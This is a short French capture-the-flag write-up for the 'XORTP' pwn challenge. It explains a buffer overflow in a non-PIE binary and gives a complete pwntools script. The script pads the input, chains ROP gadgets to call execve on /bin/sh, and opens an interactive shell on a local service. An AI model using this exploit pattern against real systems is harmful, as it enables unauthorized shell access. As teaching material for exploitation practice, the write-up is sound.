Solution de mandragore pour XORTP

pwn x86/x64

28 avril 2025

Table des matières

Résolution

Après quelques tests on voit que c’est un simple buffer overflow. Il n’y a pas de fonction directe dans laquelle retourner pour avoir un shell ou quelque chose d’interessant, il faudra faire du ROP (return oriented program) Tout est là pour simplifier ; l’adresse en mémoire est fixe (pas PIE), il contient /bin/sh et importe execve. Les “gadgets” pour le ROP sont là et pwn les trouve pour nous.

Exploit

from pwn import *

#context.log_level = 'DEBUG'
context.arch='amd64'

debug=False
local=False

vulnbin=ELF('./xortp',checksec=False)

if local:
    p=process('./xortp')
    if debug:
        rdbg = gdb.attach(p,gdbscript='''
#           break *main+0x97
            break *main+0x157
            c
         ''')
else:
    p=remote('localhost', 4000)

rop=ROP(vulnbin)
rop.call('execve',[next(vulnbin.search(b'/bin/sh\x00')),0,0])

p.sendlineafter(b'encrypt?\n',cyclic(26*6-4)+rop.chain())

p.sendline(b'uname -a')
p.interactive()